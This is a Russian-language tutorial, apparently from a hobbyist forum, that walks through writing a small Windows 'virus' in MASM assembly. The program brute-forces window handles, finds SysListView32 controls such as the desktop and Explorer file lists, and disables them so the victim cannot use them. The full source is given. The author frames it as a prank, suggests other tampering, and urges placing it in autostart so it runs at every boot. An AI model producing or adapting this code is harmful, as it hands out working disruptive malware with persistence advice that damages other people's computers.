Для данного вируса мне потребуется всего три стандартных функции Win32: ExitProcess из kernel32.dll и EnableWindow и GetClassNameA из user32.dll. Нужно обьявить их в коде:
includelib \masm32\lib\kernel32.lib
extrn__imp__ExitProcess@4:dword
ExitProcessequ __imp__ExitProcess@4
includelib \masm32\lib\user32.lib
extrn__imp__EnableWindow@8:dword
extrn__imp__GetClassNameA@12:dword
EnableWindowequ __imp__EnableWindow@8
GetClassNameequ __imp__GetClassNameA@12
Теперь, когда обьявлены экспортируемые функции, можно перейти к сегменту данных. В сегменте данных мне понадобится 4 байта. В этой памяти мы будем хранить первые 4 байта из названия класса.
.386
.model flat
.data
buffer db 4 dup (?)
Перейдем непосредственно к реализации кода. В регистре esi с самого начала программы я буду хранить числа от 0 до 100000. Зачем это нужно? Я в кратце попытаюсь объяснить мой алгоритм:
У каждого элемента управления Windows есть хендл (по-русски дескриптор). Он уникален и не может повторятся, этим мы и воспользуемся. Из своих наблюдений и опыта я заметил, что ОС Windows присваивает элементам управления(Button, ListBox, Edit...) дескрипторы от 0 и выше. Все зависит от количества открытых приложений, и от количества элементов управления в них. Думаю что в среднем открытых хендлов в системе имеется не более 20000, но мы перестрахуемся и переберем первые 100000. Благодаря быстродействию современных компьютеров можно было бы проверить все возможные хендлы в системе, а это довольно много(от 0 до 0FFFFFFFFh), но мы этого делать не будем. Как я указал ранее хранить дескрипторы будем на регистре esi, и будем проверять каждый с помощью функции Windows GetClassNameA на имя искомого класса, зарание нами указанного(в моем примере это SysListView32, но при желании можно поискать кнопки и т.д.). Думаю нужно рассказать как работает GetClassNameA.
Вот как выглядит описание этой функции на сайте MSDN:
int GetClassName(hWnd - Дескриптор, класс которого нужно узнать.
HWND hWnd,
LPTSTR lpClassName,
int nMaxCount
);
lpClassName - Указатель на строку, в которую функция запишет имя класса.
nMaxCount - Сколько символов нужно записать в вышеуказанную строку.
Возвращаемое значение: Количество скопированых байт в успешном случае, или 0 при ошибке. Подробнее об ошибке можно узнать вызвав GetLastError.
Далее если функция GetClassNameA не дала в результате 0, то мы проверяем является ли класс, находящийся в buffer именно SysListView32. Если мы нашли искомый класс, то можно сделать юзеру пакость. Имея нужный нам хендл (на esi) наши возможности по управлению им (классом) становятся практически неограниченными. Здесь наши пути могут разойтись. Если цель данного вируса - простая шутка, то можно, скажем изменить надпись на элементе управления (если сканировать будете на Button...) или добавить пару пунктов в SysListView32 или переместить объект по окну или... Еще раз повторю: наши возможности практически неограничены! Все зависит от вашей фантазии. Лично я в этом примере поступлю так: если нахожу SysListView32, то делаю его недоступным, а если не нахожу, то перехожу к следующему хендлу и т.д. Надеюсь до этого все понятно, идем дальше. Сегмент кода:
.code
_start:
xor esi, esi ; В esi 0
mov ebx, 100000 ; В ebx 100000
lea edi, buffer
Далее идет главный участок программы, это цикл, который должен повториться 100000 раз. Почему именно 100000 раз? - Смотрите выше.
repeat_this:
; Увеличиваем esi на 1, тем
; самым перейдя на следующий возможный хендл
inc esi
Затем, теоретически имея на esi хендл мы проверим, является ли данное число искомым классом. Воспользуемся функцией Api GetClassNameA. В результате при удачном выполнении мы получим имя класса в массиве buffer, а если что-то не так, то в результате GetClassName выдаст нам 0.
push5 ; Сколько байт записывать
push edi; Куда их записывать
push esi
callGetClassName
; Если GetClassName не дал результатов, то идем ниже
test eax, eax
jz@1
Теперь время фишки: я записую в массив только 4 байта из названия класса. Во-первых так мы добьемся более высокой скорости выполнения, во-вторых я не припоминаю стандартных классов Windows начинающихся с "SysL" кроме SysListView32.
cmp dword ptr [edi], 'LsyS'
jne @1
Круто! Есть первый кандидат на "затемнение". Чтобы сделать SysListView32 заблокированным вызовем стандартную функцию EnableWindow. По традиции заглянем в MSDN:
BOOL EnableWindow (hWnd - Блокиpуемое или pазблокиpуемое окно.
HWND hWnd,
BOOL Enable
);
Enable - TRUE, для разблокирования. FALSE, для блокировки.
Возвpащаемое значение:
Не нуль - в случае успешного завеpшения. 0 - в пpотивном случае.
push FALSE ; Не активный
push esi ; хендл SysListView32
call EnableWindow
@1:
; Устанавливает Zero-флаг в 1, если источник=0
dec ebx
; Если не 0, то переходим на новый поиск
jnzrepeat_this
Когда сделали жизнь юзеру хуже, закрываемся и уходим!
push ebx ; ebx=0
call ExitProcess
end _start
Конечно работать без проводника и рабочего стола юзеру будет тяжело . Но еще более осложнить ему жизнь можно поместив нашу програмку в автозагрузку, будет весело! Но уж это сами! Я ни какой ответственности не несу. И вообще я компьютеров побаиваюсь